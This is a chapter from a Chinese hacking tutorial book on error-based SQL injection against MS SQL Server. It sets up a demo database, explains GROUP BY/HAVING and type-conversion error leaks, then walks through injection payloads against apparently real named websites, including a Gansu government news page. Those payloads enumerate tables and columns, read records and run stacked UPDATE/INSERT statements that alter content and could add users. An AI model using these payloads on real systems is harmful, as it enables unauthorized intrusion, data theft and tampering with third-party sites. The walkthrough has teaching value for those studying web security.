- 網(wǎng)站入侵與腳本攻防修煉
- 肖遙編著
- 576字
- 2019-03-01 22:12:38
2.6 為MS SQL帶來災(zāi)難的高級查詢
在上面,我們以實例向大家詳細分析介紹了手工與工具注入Access數(shù)據(jù)庫,登錄后管理頁面,上傳后門木馬的完整過程。在上面的例子中注入的是Access數(shù)據(jù)庫,讀者可能會發(fā)現(xiàn)手工猜解用戶名和密碼是非常麻煩的,使用“WED+WIS”或“NBSI”之類的自動注入工具,才是比較明智的選擇。
其實對于Access來說,由于其SQL查詢功能非常弱,因此只能用猜解辦法;但是對于SQL Server或MySQL之類的數(shù)據(jù)庫來說,攻擊者完全可以利用一些特別的SQL查詢語句報出其表名與字段名,并完成強大的系統(tǒng)控制功能。
在本節(jié)中,將詳細介紹ASP+SQL Server環(huán)境下的SQL注入攻擊。讀者在學(xué)習(xí)時,注意與Access數(shù)據(jù)庫注入攻擊之間的不同之處。
MS SQL的功能遠比Access數(shù)據(jù)庫強大得多,它支持多句執(zhí)行、聯(lián)合查詢,以及各種高級查詢功能。但是,正由于MS SQL的強大功能,給MS SQL服務(wù)器的安全帶來了極大的威脅。一旦攻擊者有機會利用SQL注入攻擊MS SQL數(shù)據(jù)庫,那么攻擊者可以很輕易地就獲取MS SQL數(shù)據(jù)庫中的所有記錄內(nèi)容,進而控制數(shù)據(jù)庫服務(wù)器。
在本節(jié)中,我們將詳細分析MS SQL的一些高級查詢功能,以及由此帶來的SQL注入攻擊的原理和方法。
2.6.1 建立MS SQL數(shù)據(jù)庫進行攻擊演示
在進行MS SQL數(shù)據(jù)庫注入攻擊前,需要搭建一個目標(biāo)數(shù)據(jù)庫,作為攻擊原理分析及演示。
在前面我們已經(jīng)介紹了如何安裝MS SQL服務(wù)器,以及啟動SQL服務(wù)器及執(zhí)行SQL查詢的方法。按照前面的方法,啟動MS SQL服務(wù)器,打開SQL查詢分析器,在中間的SQL語句窗口中輸入如下語句:
CREATE DATABASE 成績 use 成績
執(zhí)行語句后,即可建立一個名為“成績”的數(shù)據(jù)庫,并將選擇當(dāng)前數(shù)據(jù)庫為新建的“成績”(圖109)。

圖109 新建MS SQL數(shù)據(jù)庫
單擊上方工具欄下拉列表按鈕,在其中可以選擇剛才新建的“成績”數(shù)據(jù)庫為操作對象(圖110)。再執(zhí)行如下語句,即可建立兩個數(shù)據(jù)表:“1班成績”和“2班成績”:

圖110 新建數(shù)據(jù)表及字段
CREATE TABLE [1班成績] (
[姓名] [char] (20) COLLATE Chinese_PRC_CI_AS NULL , [成績] [numeric](18, 0) NULL, [性別] [NVARCHAR](1) ) ON [PRIMARY] CREATE TABLE [2班成績] ( [姓名] [char] (20) COLLATE Chinese_PRC_CI_AS NULL, [成績] [numeric](18, 0) NULL, [性別] [NVARCHAR](1) ) ON [PRIMARY]
在新建的“1班成績”和“2班成績”表中,有3個字段“姓名”、“成績”和“性別”。單擊工具欄“對象瀏覽器”按鈕,可查看到新建的數(shù)據(jù)庫及表、字段名(圖111)。

圖111 建立數(shù)據(jù)表成功
現(xiàn)在要為字段添加數(shù)據(jù),執(zhí)行如下語句(圖112):
INSERT INTO [1班成績] VALUES(’冰河洗劍’, 98, ’男’) INSERT INTO [1班成績] VALUES(’會飛的魚’, 99, ’女’) INSERT INTO [1班成績]
VALUES(’朱澤明’, 94, ’男’) INSERT INTO [1班成績] VALUES(’盧麗婭’, 97, ’女’)

圖112 添加數(shù)據(jù)記錄
即可為“1班成績”表添加4條數(shù)據(jù)記錄。執(zhí)行如下語句:
INSERT INTO [2班成績] VALUES(’肖遙’, 98, ’男’) INSERT INTO [2班成績] VALUES(’張黎’, 99, ’女’) INSERT INTO [2班成績] VALUES(’夏雨’, 94, ’男’) INSERT INTO [2班成績] VALUES(’簡單’, 97, ’女’)
可為“2班成績”表添加4條數(shù)據(jù)記錄。如何才能查看到新建數(shù)據(jù)庫及表中的數(shù)據(jù)呢?執(zhí)行如下語句:
select * from [1班成績] union select * from [2班成績]
即可查看顯示所有數(shù)據(jù)信息了(圖113)。

圖113 查看新建的數(shù)據(jù)庫所有記錄信息
2.6.2 有趣的MS SQL出錯信息
用于演示的數(shù)據(jù)庫及表建立成功了,現(xiàn)在我們在查詢窗口中執(zhí)行如下一條SQL語句:
select * from [1班成績]

圖114 正常查詢返回信息
可以看到顯示了數(shù)據(jù)表“1班成績”中的所有記錄,SQL語句是正常執(zhí)行并返回信息的(圖115)。現(xiàn)在,我們在SQL語句后面加上“having 1=1—”,執(zhí)行查詢語句:
select * from [1班成績] having 1=1--
由于SQL查詢語句有問題,不符合正確的SQL語句規(guī)范,因此返回了錯誤信息為:
服務(wù)器: 消息 8118,級別 16,狀態(tài) 1,行 1 列 ’1班成績.姓名’ 在選擇列表中無效,因為該列未包含在聚合函數(shù)中,并且沒有 GROUP BY 子句。 服務(wù)器: 消息 8118,級別 16,狀態(tài) 1,行 1 列 ’1班成績.成績’ 在選擇列表中無效,因為該列未包含在聚合函數(shù)中,并且沒有 GROUP BY 子句。 服務(wù)器: 消息 8118,級別 16,狀態(tài) 1,行 1 列 ’1班成績.性別’ 在選擇列表中無效,因為該列未包含在聚合函數(shù)中,并且沒有 GROUP BY 子句。

圖115 返回的查詢錯誤信息
可以看到查詢錯誤很詳細,將錯誤的原因也反饋給用戶了。細心的讀者將會發(fā)現(xiàn),在返回的信息中顯示有“列 ’1班成績.姓名’”、“列 ’1班成績.性別’”和“列'1班成績.成績’”。這正是當(dāng)前用戶表及表中的字段名信息。
也就是說,普通用戶通過MS SQL返回的錯誤信息,從中可以獲知數(shù)據(jù)庫的一些信息。同樣,攻擊者可以精心構(gòu)造“特殊”的SQL查詢語句,讓MS SQL返回錯誤信息,從而非法獲取數(shù)據(jù)庫中的關(guān)鍵數(shù)據(jù)記錄信息。這就是針對MS SQL數(shù)據(jù)庫的注入攻擊原理。
2.6.3 SQL高級查詢之Group By和Having
在上面的SQL查詢語句中,添加了一個“having 1=1--”的查詢條件,為什么這個查詢條件會執(zhí)行出錯,并返回字段名信息呢?從返回的錯誤信息中還可以看到,Having與一個“GROUP BY子句”有關(guān),兩者之間有什么聯(lián)系呢?
下面就詳細講解一下利用Group By和Having進行MS SQL注入攻擊的原理。
1.SQL查詢中的聚合函數(shù)
在介紹Group By和Having子句前,我們先介紹一下SQL語言中一類特殊的函數(shù):“聚合函數(shù)”,如SUM、COUNT、MAX、AVG等。“聚合函數(shù)”與其他普通函數(shù)的區(qū)別在于,此類函數(shù)作用于多條記錄上,進行統(tǒng)計或選擇最大、最小值,以及平均計算等。
例如,下面的語句執(zhí)行結(jié)果就是查詢只返回一個結(jié)果,即所有學(xué)生的總成績分?jǐn)?shù):
SELECT SUM(成績) FROM [1班成績]
這里的SUM作用在所有返回記錄的“成績”字段上,查詢返回的結(jié)果就是表中所有“成績”記錄的總成績之和(圖116)。

圖116 統(tǒng)計總成績
通過使用Group By子句,可以讓SUM和COUNT等聚合函數(shù)對屬于一組的數(shù)據(jù)起作用。當(dāng)指定“GROUP BY性別”時,屬于同一“性別”的一組數(shù)據(jù)將只能返回一行值。也就是說,表中所有除“性別”外的字段,只能通過SUM、COUNT等聚合函數(shù)運算后返回一個值。
首先,我們來顯示男生和女生的總分?jǐn)?shù)(圖117):
SELECT 性別,SUM(成績) as 總成績 FROM [1班成績] GROUP BY 性別

圖117 統(tǒng)計男生和女生的總分?jǐn)?shù)
從返回的信息中,可以看到顯示了兩條數(shù)據(jù)記錄,分別是男生與女生的成績之和。這條SQL語句,先以“性別”把返回記錄分成了兩個組,這就是Group By所起的作用。在分完組后,然后用聚合函數(shù)SUM,對每組中的不同字段的一或多條記錄進行運算。
Having子句可以讓我們篩選成組后的各組數(shù)據(jù),Where子句在聚合前先篩選記錄.也就是說作用在Group By子句和Having子句前,而Having子句在聚合后對組記錄進行篩選。
例如,要查詢男生和女生的總分?jǐn)?shù),并僅顯示總分?jǐn)?shù)超過195的記錄(圖118)。先執(zhí)行如下SQL查詢語句:
SELECT 性別,SUM(成績) as 總成績 FROM [1班成績] GROUP BY 性別
where SUM(成績)>195
上面的查詢語句為什么會出錯呢?這是因為表中不存在著“SUM(成績)”這樣一條記錄,因此不能使用Where來篩選總分?jǐn)?shù)超過195的記錄。再嘗試執(zhí)行如下SQL查詢語句(圖119):
SELECT 性別,SUM(成績) as 總成績 FROM [1班成績] GROUP BY 性別 HAVING SUM(成績)>195

圖118 使用where查詢出錯

圖119 Having篩選聚合成組的數(shù)據(jù)
可看到語句正常執(zhí)行,返回結(jié)果是顯示女生總分?jǐn)?shù)超過了195。從上面的例子可見,只有Having子句,才可以篩選聚合成組后的各組數(shù)據(jù)。
2.Group By查詢
現(xiàn)在,我們來看看去掉“Group By”語句后的結(jié)果,執(zhí)行如下SQL查詢語句:
SELECT * FROM [1班成績] HAVING SUM(成績)>195
依照上面的原則,這條SQL語句執(zhí)行錯誤了,返回信息如下:
服務(wù)器: 消息 8118,級別 16,狀態(tài) 1,行 1 列 ’1班成績.姓名’ 在選擇列表中無效,因為該列未包含在聚合函數(shù)中,并且沒有 GROUP BY 子句。 服務(wù)器: 消息 8118,級別 16,狀態(tài) 1,行 1 列 ’1班成績.成績’ 在選擇列表中無效,因為該列未包含在聚合函數(shù)中,并且沒有 GROUP BY 子句。 服務(wù)器: 消息 8118,級別 16,狀態(tài) 1,行 1 列 ’1班成績.性別’ 在選擇列表中無效,因為該列未包含在聚合函數(shù)中,并且沒有 GROUP BY 子句。
可看到,再次返回了當(dāng)前數(shù)據(jù)庫中的所有表名及列名(圖120)。也就是說, Having子句之前,必須有“Group By”語句進行數(shù)據(jù)聚合,否則SQL語句是無法正常執(zhí)行的。因此,在上一節(jié)的示例中,我們提交“having 1=1”時,由于缺少了“Group By”語句,因此也同樣返回了錯誤信息,從而獲得了數(shù)據(jù)庫表名及列名。

圖120 缺少“Group By”返回錯誤信息
在“Having”之后必須是一個查詢條件,否則語句會出錯,只返回語法錯誤信息(圖121),而不會返回執(zhí)行錯誤信息,因此無法得到數(shù)據(jù)庫表名及列名信息。查詢條件可以為任意真或假的條件,如“1=1”、“2>1”等均可。

圖121 Having后接任意查詢條件
2.6.4 報出MS SQL表名和字段名的實例
通過上面對Group By和Having查詢的講解,報出MS SQL數(shù)據(jù)庫表及字段名的原理已經(jīng)很清楚了。下面來看一個實例,了解一下攻擊者是如何利用上面的原理進行入侵攻擊的。
這里選擇了一個小地區(qū)網(wǎng)站的新聞鏈接:
http://www.jyg.gansu.gov.cn/news/NewsJyg.asp? Ntype=1
利用單引號法進行檢測,返回錯誤信息為(圖122):
Microsoft OLE DB Provider for ODBC Drivers 錯誤 ’80040e14' [Microsoft][ODBC SQL Server Driver][SQL Server]字符串 ’order by news_date desc’ 之前有未閉合的引號。 /news/NewsJyg.asp,行 51
從返回信息可知此處存在著注入漏洞,且網(wǎng)站使用的是MS SQL數(shù)據(jù)庫。使用上面的方法,在SQL Server注入點處加上“having 1=1--”,提交如下地址:
http://www.jyg.gansu.gov.cn/news/NewsJyg.asp? Ntype=1 having 1=1--

圖122 檢測到SQL注入點
得到返回信息:
Microsoft OLE DB Provider for ODBC Drivers 錯誤 ’80040e14' [Microsoft][ODBC SQL Server Driver][SQL Server]列 ’y_News. news_id’ 在選擇列表中無效,因為該列未包含在聚合函數(shù)中,并且沒有 GR OUP BY 子句。 /news/NewsJyg.asp,行 51
從返回信息中的“y_News.news_id”,可知當(dāng)前使用的數(shù)據(jù)表名為“y_news”,有一個字段名為“news_id”(圖123)。

圖123 having查詢返回的信息
在真實的注入攻擊過程中,并不像在SQL查詢分析器中可以直接得到所有表名和字段名,只能得到一個字段名后,繼續(xù)猜解其他字段名。要猜解下一個字段名,就需要結(jié)合“Group By”語句進行查詢了,可構(gòu)造查詢語句為“group by news_id having 1=1--”,提交鏈接為:
http://www.jyg.gansu.gov.cn/news/NewsJyg.asp? Ntype=1 group by news_id having 1=1--
得到返回的錯誤信息為(圖124):
[Microsoft][ODBC SQL Server Driver][SQL Server]列 ’y_News.news _type’ 在選擇列表中無效,因為該列既不包含在聚合函數(shù)中,也不包含在 GROUP BY 子句中。

圖124 報出第二個字段名
從返回信息,可得到另一個字段名“news_type”。繼續(xù)猜解當(dāng)前表中的下一個字段名,構(gòu)造查詢語句為“group by news_id, news_type having 1=1--”,提交如下鏈接地址:
http://www.jyg.gansu.gov.cn/news/NewsJyg.asp? Ntype=1 group by news_id, news_type having 1=1--
返回信息為(圖125):
[Microsoft][ODBC SQL Server Driver][SQL Server]列 ’y_News.news
_title’ 在選擇列表中無效,因為該列既不包含在聚合函數(shù)中,也不包含在 GROUP BY 子句中。

圖125 報出第三個字段名
則可再得到一個字段名“news_title”。用同樣的方法提交報出其他的數(shù)據(jù)字段名,構(gòu)造的查詢語句格式為:
group by 第N個表名,……第3個字段名,第2個字段名,第1個字段名 having 1=1--
一直提交到頁面不再返回錯誤信息,就可以得到所有的字段名了,這里猜解出來的字段名有6個,分別是news_id、news_type、news_title、news_content、news_date和news_depart。
2.6.5 數(shù)據(jù)記錄也“報”錯
一旦攻擊者報出了數(shù)據(jù)庫的表名和字段名,就可以讀取數(shù)據(jù)庫中的任意數(shù)據(jù)記錄。同樣,攻擊者還是會利用數(shù)據(jù)庫的返回信息來獲取所需要的數(shù)據(jù)。
在前面的SQL查詢分析器中,執(zhí)行如下語句:
Select Top 1 成績 FROM [1班成績] where 成績=95
語句執(zhí)行后,可看到查詢結(jié)果為空,因為數(shù)據(jù)庫中不存在“成績=95”的記錄(圖126)。再執(zhí)行如下SQL查詢語句:
Select Top 1 成績 FROM [1班成績] where 成績=95 and (select top 1 姓名 from [1班成績])>1

圖126 查詢結(jié)果為空
語句的執(zhí)行結(jié)果是出錯,并返回了如下信息:
服務(wù)器: 消息 245,級別 16,狀態(tài) 1,行 1 將 varchar 值 ’冰河洗劍 ’ 轉(zhuǎn)換為數(shù)據(jù)類型為 int 的列時發(fā)生語法錯誤。
從返回的錯誤信息中,可看到“冰河洗劍”這個敏感的數(shù)據(jù),這就是“1班成績”表中“姓名”字段的第一條數(shù)據(jù)記錄(圖127)。

圖127 報出數(shù)據(jù)記錄
為什么在執(zhí)行上面的SQL語句時會出錯呢?這是因為在上面的SQL語句中有一個查詢條件:
where 成績=95 and (select top 1 姓名 from [1班成績])>1
其中的“(select top 1姓名from [1班成績])>1”是一個錯誤的比較條件。“(select top 1姓名from [1班成績])”返回的是“1班成績”表中“姓名”字段的第一條數(shù)據(jù)記錄,該記錄的值為“冰河洗劍”(圖128)。

圖128 查詢條件返回的是字符數(shù)據(jù)
由于該記錄的數(shù)據(jù)類型為字符(varchar),而比較條件“1”的數(shù)據(jù)類型為int整數(shù)型,因此在進行“’冰河洗劍’>1”比較時,會將“冰河洗劍”進行類型轉(zhuǎn)換。在將字符轉(zhuǎn)換為整數(shù)時,當(dāng)然是會出錯的,而MS SQL完善的錯誤信息,也將字符數(shù)據(jù)的內(nèi)容報給了攻擊者,因此攻擊者可以輕易地獲得指定的數(shù)據(jù)記錄內(nèi)容。
2.6.6 繼續(xù)前面的“入侵”
在前面的報出MS SQL表名和字段名的實例中,攻擊者將會繼續(xù)下面的入侵步驟,以獲取數(shù)據(jù)庫中的指定信息。
猜解出的數(shù)據(jù)表名為“y_news”,字段名有6個:news_id、news_type、news_title、news_content、news_date和news_depart。這里假設(shè)攻擊者要獲取“news_title”字段中的第2條記錄,攻擊者將會執(zhí)行如下的語句:
http://www.jyg.gansu.gov.cn/news/NewsJyg.asp? Ntype=1 and (select top 1 news_title from y_news )>1
例如,我們要讀取“skill”表中“title”列中的第N個數(shù)據(jù),可提交語句:
and (Select Top 1 字段 FROM 表 where id=N)>1
其中[N]代表列中的第N條數(shù)據(jù)。將N改為1的話,則會返回錯誤信息:
Microsoft OLE DB Provider for SQL Server 錯誤 ’80040e07' [Microsoft][ODBC SQL Server Driver][SQL Server]將 varchar 值 ’ 給賣房人的忠告——出售二手房產(chǎn)權(quán)要明晰手續(xù)需齊全 ’ 轉(zhuǎn)換為數(shù)據(jù)類型為 int 的列時發(fā)生語法錯誤。 /skill/skill_id.asp,行38
這就說明“Skill”表中“title”列的第一個值為“給賣房人的忠告--出售二手房產(chǎn)權(quán)要明晰手續(xù)需齊全”。由于這是一個文章系統(tǒng),因此其在網(wǎng)頁中代表的真實含義為:ID為1的文章其標(biāo)題為“給賣房人的忠告--出售二手房產(chǎn)權(quán)要明晰手續(xù)需齊全”。
上面的例子中讀取的只是一篇文章的標(biāo)題,在實際的應(yīng)用中,可以讀取包含用戶名和密碼的表中的數(shù)據(jù),就可以獲得任意用戶名的密碼了,這種方法比使用ASCII碼一個個地猜解快得多了。
修改數(shù)據(jù)庫,插入數(shù)據(jù)
當(dāng)成功地獲得了表名、字段名,就可以在數(shù)據(jù)庫里修改甚至插入新的數(shù)據(jù),如要更改“skill”表中的第一個數(shù)據(jù),可以提交如下命令:
“ ; update skill set title=’我不是黑客,哈哈!' WHERE id='1' ”
命令運行后正常顯示,在IE地址欄中輸入鏈接“http://www.xinzun.com. cn/skill/skill_id.asp? id=1”,可以看到ID為1的文章其標(biāo)題已經(jīng)變成了更改的內(nèi)容:“我不是黑客,哈哈!”(圖129)
如果要在數(shù)據(jù)庫中插入一條新的數(shù)據(jù),可提交如下語句:
“ ; insert into skill values ('1000' , ’網(wǎng)站存在安全漏洞’, ’請注意安 全’, '2004' )--
打開鏈接“http://www.xinzun.com.cn/skill/skill_id.asp? id=1”時,可以看到新添加的文章。
如果是在用戶名表中插入一個新的數(shù)據(jù)的話,那么也就是說我們在網(wǎng)站中添加了一個新的用戶。同樣,用上面的方法可以任意更改某個用戶名的密碼。

圖129
2.6.7 報出任意表名和字段名
上面的方法只能報出數(shù)據(jù)庫中的當(dāng)前表,同時如果某個表中包含的字段名非常多時,用上面的方法就非常困難了。攻擊者有可能使用更加高效的檢測方法,可以報出數(shù)據(jù)庫中任意表名和字段名。
在上面的注入點后提交如下語句:
and (Select top 1 name from(Select top [N] id, name from sysobjects where xtype=char(85)) T order by id desc)>1
其中“[N]”表示數(shù)據(jù)庫中的第N個表,當(dāng)將其改為12時,返回信息為:
Microsoft OLE DB Provider for SQL Server 錯誤 ’80040e07' 將 nvarchar 值 ’sill’ 轉(zhuǎn)換為數(shù)據(jù)類型為 int 的列時發(fā)生語法錯誤。 /skill/skill_id.asp,行13
就可報出數(shù)據(jù)庫中的第4個表名,說明第4個表名為“skill”。
要獲得某個表中任意字段名,可以提交如下語句:
and (Select Top 1 col_name(object_id([T]), [N]) from sysobject s)>1
其中[T]為表名,[N]表示第N個字段名,當(dāng)將語句改為:
and (Select Top 1 col_name(object_id(' skill' ),2) from sysobject
s)>1
返回信息為:
"……將 nvarchar 值 ’title’ 轉(zhuǎn)換為數(shù)據(jù)類型為 int 的列時發(fā)生語法錯 誤。……”
這表明第4個表中的第二個字段名為“title”。
- 協(xié)作機器人技術(shù)及應(yīng)用
- TIBCO Spotfire:A Comprehensive Primer(Second Edition)
- 西門子S7-200 SMART PLC從入門到精通
- 2018西門子工業(yè)專家會議論文集(上)
- Learning Apache Cassandra(Second Edition)
- 計算機網(wǎng)絡(luò)應(yīng)用基礎(chǔ)
- 嵌入式Linux上的C語言編程實踐
- 分布式多媒體計算機系統(tǒng)
- 網(wǎng)絡(luò)組建與互聯(lián)
- 四向穿梭式自動化密集倉儲系統(tǒng)的設(shè)計與控制
- Machine Learning with the Elastic Stack
- 深度學(xué)習(xí)與目標(biāo)檢測
- Linux內(nèi)核精析
- Spatial Analytics with ArcGIS
- 軟件構(gòu)件技術(shù)